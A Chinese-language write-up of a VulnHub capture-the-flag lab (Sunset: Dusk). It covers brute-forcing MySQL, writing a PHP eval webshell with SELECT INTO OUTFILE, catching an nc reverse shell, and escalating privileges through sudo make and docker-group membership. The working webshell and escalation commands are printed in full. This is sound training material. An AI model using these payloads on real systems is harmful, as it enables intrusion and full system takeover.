这是vulnhub靶机系列文章的第十篇,本次主要知识点为:mysql 3306端口爆破、sql-shell写webshell、nc反弹shell、sudo滥用提权之-make、docker命令
靶机下载链接:https://www.vulnhub.com/entry/sunset-dusk,404/
原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13223131.html
#001 环境搭建(nat)
攻击机kali:192.168.136.129
靶机Dusk:192.168.136.142
#002 实战writeup
寻找靶机ip,netdiscover -i eth0,发现靶机ip为192.168.136.144
Nmap扫描以下端口开放情况,发现开启了21,22,25,80,3306,8080端口
访问一下每个开放的端口,访问到http服务的8080端口时,给出当前工作目录为/var/tmp
尝试了一下其他端口也没有什么发现,ftp的21端口也不存在匿名登陆,所以尝试爆破了一下3306端口的mysql服务,成功爆破出账号密码root password
然后使用navicat直接连上数据库了,但是数据库啥都没。。。。
尝试使用mysql提权工具进行udf提权,但是插件目录只读,所以与失败告终
#0x03 提权失败,尝试写shell
因为root权限较高,并且刚才给出了/var/tmp,尝试直接写入一句话:
select '<?php eval($_POST[cmd]);?>' into outfile '/var/tmp/panda.php';
写入成功,上蚁剑连接
0x04 尝试sudo滥用提权到dusk用户
Whoami查看当前权限,只是个网站用户权限
Sudo -l 发现有个dusk用户,并且有几个命令可用于提权ping,mask,sl
但是蚁剑的终端不是标准的,所以这里执行反弹shell,新建一个一句话用来执行命令即可
尝试过很多个一句话反弹shell,最终只有nc的可以成功
开启监听,nc -lvp 6666,成功接收到shell,并利用python转换终端
使用make命令提权到dusk用户,原本是这样的,但是要加上-u dusk指定用户,否则会提示你输入www-data的密码
COMMAND='/bin/sh'
sudo make -s --eval=$'x:\n\t-'"$COMMAND"
0x05提权到root
Id,发现dusk用户在docker组内
直接利用docker提权命令,提权到root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Whoami,提权成功
0x06 总结归纳
利用3306端口爆破出mysql的账号密码
可以尝试直接udf提权
利用navicat远程连接数据库并进行写一句话shell
Sudo滥用导致提权
Docker提权